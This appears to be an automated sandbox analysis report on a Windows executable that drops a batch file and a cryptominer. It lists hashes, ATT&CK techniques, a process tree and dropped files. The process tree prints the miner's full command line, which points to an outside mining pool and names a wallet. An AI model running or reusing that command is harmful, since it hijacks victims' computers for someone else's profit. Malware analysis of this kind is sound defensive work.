73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13-02-2024 12:55

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4664	b2e.exe
4816	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5712-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5712 wrote to memory of 4664	5712	batexe.exe	83
PID 5712 wrote to memory of 4664	5712	batexe.exe	83
PID 5712 wrote to memory of 4664	5712	batexe.exe	83
PID 4664 wrote to memory of 3384	4664	b2e.exe	84
PID 4664 wrote to memory of 3384	4664	b2e.exe	84
PID 4664 wrote to memory of 3384	4664	b2e.exe	84
PID 3384 wrote to memory of 4816	3384	cmd.exe	87
PID 3384 wrote to memory of 4816	3384	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5712
- C:\Users\Admin\AppData\Local\Temp\6CD3.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6CD3.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6CD3.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\704E.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6CD3.tmp\b2e.exe

Filesize
10.8MB

MD5
9ceda208e32adfaf0b29251d9ff91c5e

SHA1
497a552c44b19f349e7a36d9d87a9e81701a29f8

SHA256
0aff409395ec5a12bb73a97d1e580d8ac8daa1eda8bd9bc32d38dbe9a407dc5a

SHA512
e8a30d151b0c554b6f13269185dfe9cdaacb260b0600e11c25ec10f5d991e88fbb748f4d2cc1020239c6a326d4f81de44b6b399237f3f17e27469750c523a8b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\6CD3.tmp\b2e.exe

Filesize
1024KB

MD5
55d3fcf113506e85b6cf485f08b11290

SHA1
539d601fdd7e37fe22412d8c73023e21293ac62c

SHA256
519083ea4de496637895b9c3dd7fa5d9fc1140325272570f09aa0d2bad46f2d3

SHA512
62c0dc6a36ef819eede73c8b041fbdf579ec0ae399654a73a4628555bb84c4e1fdcf314deb659f41986204e2d92acd886dd8735a24a150a309d4035b58a33ee4

Download Submit
C:\Users\Admin\AppData\Local\Temp\6CD3.tmp\b2e.exe

Filesize
1.2MB

MD5
05f6765e8266a1a7d81a80da7788444e

SHA1
e7afd0bf0dce889a026f4233c6705907083e6e23

SHA256
3256219f071d9bbeb2b3483abc7e647cbb550c0b74c415ace444bd8a334df9e8

SHA512
417d266a6eae32d630cf1322d3ab78f8547b09254ba3b5e2e544a7fd294de819754ab2f104ba2f3cab59a1fcfe7b0ea6f622712736079b7eec12a242b914293c

Download Submit
C:\Users\Admin\AppData\Local\Temp\704E.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
3c40059528ede0dea9b3321fda6b534b

SHA1
a0a08c47d8461fd3fde0b90847ef6a62ec1d9893

SHA256
cfca9a2887a1dc9034acbf5dc69bb1b12025607ae1f7446cfa5bbe3919ee4318

SHA512
3f508d101ef24d4a5f7963b790e17585a77c7da42fbe17b81f5b49aa13d0be11f142dd0cd4f84584355a0d4e6b556ddcb51ae749083b93f1f545f04f6d71f9b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.0MB

MD5
12339a1d5482af7fab0b719275c9d86a

SHA1
84f09dc97b27e9dfe23749ad5c0f0f9bb203e708

SHA256
6b95e069b349db77ddb24d151f6a1c764b566b1fb56ee74106e4eddb9d25f1f8

SHA512
d84aebb7d2461176ff7555defc3eeaac582acae40c46e0d59d0843dfe9772e6bb1ca8066e74a269981602a39835452e28ca6216369bd5594522eae5ec35052eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
3042099689449937a4e271df31b02bcf

SHA1
bc494eb976da1def4b6b86a364c739be43eb9142

SHA256
55e204cc2936df85519d84e339d72d2efe12db3cd8157b3680396572d4482eb2

SHA512
671ced04328dd90a421359117cd71ca4a9baa4e2e2acb0d54c345de05db4784851f97bf9d7f60547261885720dc39b76d0df2db0fd676dd53200ad0749a22ff2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4664-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4664-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4816-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4816-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4816-46-0x00000000691A0000-0x0000000069238000-memory.dmp

Filesize
608KB

Download
memory/4816-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4816-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5712-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download